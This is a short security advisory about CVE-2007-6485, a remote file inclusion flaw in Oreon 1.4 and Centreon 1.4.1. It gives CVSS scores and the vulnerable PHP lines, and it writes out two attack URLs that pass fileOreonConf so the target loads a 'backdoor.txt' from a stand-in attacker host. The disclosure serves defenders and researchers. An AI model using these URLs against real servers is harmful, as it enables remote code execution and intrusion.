Oreon/Centreon - Multiple Remote File Inclusion

2007.12.21

Credit: Michael Brooks

Risk: High

Local: No

Remote: Yes

CVE: CVE-2007-6485

CWE: CWE-94

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

By Michael Brooks

Vulnerability Type: Multiple Remote File Inclusion.

Software: Oreon and Centreon

Homepage:http://www.oreon-project.org/  or http://www.centreon.com/

Versions: 1.4(Oreon) and 1.4.1(Centreon)

The vulnerable file is:

./oreon-1.4/www/include/monitoring/engine/MakeXML.php

Another,virtually identical RFI:

./oreon-1.4/www/include/monitoring/engine/MakeXML4statusCounter.php

The attack:

http://127.0.0.1/include/monitoring/engine/MakeXML.php?fileOreonConf=htt
p://evilurl/backdoor.txt?

or

http://127.0.0.1/include/monitoring/engine/MakeXML4statusCounter.php?fil
eOreonConf=http://evilurl/backdoor.txt?

file MakeXML.php line 42 & 43:

include_once($oreonPath . "www/oreon.conf.php");

include_once($oreonPath . "www/include/common/common-Func-ACL.php");

Register_globals isn't needed for the taint:

file MakeXML.php line 28:

if (isset($_GET["fileOreonConf"]))

$oreonPath = $_GET["fileOreonConf"];

However magic_quotes_gpc is require for LFI because you need a null byte.

Peace

See this note in RAW Version

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Oreon/Centreon - Multiple Remote File Inclusion

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